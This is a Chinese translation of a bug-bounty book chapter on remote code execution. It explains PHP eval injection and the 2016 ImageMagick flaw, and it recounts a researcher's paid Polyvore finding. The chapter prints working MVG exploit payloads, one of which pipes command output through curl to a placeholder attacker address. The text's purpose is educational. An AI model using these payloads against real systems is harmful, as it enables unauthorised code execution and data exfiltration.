<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                # 十五、代碼執行 > 作者:Peter Yaworski > 譯者:[飛龍](https://github.com/) > 協議:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 遠程代碼執行是指注入由漏洞應用解釋和執行的代碼。這通常由用戶提交輸入,應用使用它而沒有任何類型的處理或驗證而導致。 看一下這行代碼: ```php $var = $_GET['page']; eval($var); ``` 這里,漏洞應用可能使用 URL` index.php?page=1`,但是,如果用于輸入了`index.php?page=1;phpinfo() `,應用就會執行`phpinfo`函數,并返回其內容。 與之類似,遠程代碼執行有時用于指代命令注入,OWASP 區分了這兩點。使用命令駐入,根據 OWASP,漏洞應用在主機操作系統上執行任何命令。同樣,這也由不合理處理和驗證用戶輸入導致,這會導致用戶輸入傳遞給操作系統的命令。 例如 PHP 中,這可能表現為用戶輸入傳遞給`system`函數。 ## 示例 ### 1\. Polyvore ImageMagick ImageMagick 是個軟件包,通常用于處理圖像,例如剪裁、縮放等等。 PHP 的 imagick、Ruby 的 rmagick 以及 paperclip,以及 NodeJs 的 imagemagick 都利用了它。在 2016 年 4 月,該庫中發現了多個漏洞,其中可利用的漏洞之一就是執行遠程代碼,這就是我關注的。 簡單來說,ImageMagick 并沒有合理地傳給他的過濾文件名稱,并且最終用于執行`system`方法調用。因此,攻擊者利益傳入命令來執行,就像`https://example.com”|ls“-la`,它會被執行。一個來自 ImageMagick 的例子是: ``` convert 'https://example.com"|ls "-la' out.png ``` 現在,有趣的是,ImageMagick 為 MVG(Magick Vectire Graphics)文件定義了自己的語法。所以,攻擊者能夠創建文件`exploit.mvg`,帶有下列代碼: ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context ``` 這之后會傳給該庫,并且如果站點存在漏洞,代碼會執行并列出目錄中的文件。 了解其背景之后,Ben Sadeghipour 測試了 Yahoo acquisition 站點以及 Polyvore 是否存在漏洞。就像他博文中所述,Ben 首先在它所控制的本地機器上測試了該漏洞,來確認`mvg`文件是否正常工作。這是他使用的代碼: ``` push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80 80/ -d @- > /dev/null`' pop graphic-context ``` 這里你可以看到,它使用了 CURL 庫來調用 SOMEIPADDRESS(將其修改為你服務器的地址)。如果成功,你就會得到像這樣的響應: ![](https://img.kancloud.cn/e4/91/e491a7a90fa8dbe7f570fee21cf9c906_1021x175.jpg) Ben Sadeghipour ImageMagick 測試的服務器響應 下面 Ben 瀏覽了 Polyvore,將文件上傳為它的資料頭像,并在它的服務器上收到了這個響應: ![](https://img.kancloud.cn/00/3a/003a46b6555b7cc1749e7fd4b4434436_1418x380.jpg) Ben Sadeghipour Polyvore ImageMagick 響應 > 重要結論 > 閱讀是成功滲透的重要組成部分,這包括閱讀軟件漏洞和常見漏洞,以及披露(CVE 標識符)。當你碰到沒有安裝安全更新的站點時,了解之前的漏洞能夠幫助你。這里, Yahoo 已經修補了服務器,但是沒有正確完成(我找不到關于這是什么意思的解釋)。一次你,了解 ImageMagick 漏洞讓 Ben 特地以這個軟件為目標,并得到了 $2000 的獎金。 ## 總結 遠程代碼執行,就像其他漏洞一樣,通常是用戶輸入沒有合理驗證和處理的結果。這里提供的例子中,ImageMagick 沒有合理轉義可能為惡意的內容。它和 Ben 對該漏洞的知識一起,讓他能夠特地尋找和測試一些漏洞站點。對于搜索這些類型的漏洞來說,沒有簡單的答案。要注意發布的 CVE,并且留意站點所使用的軟件,它們可能會過時,也可能存在漏洞。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看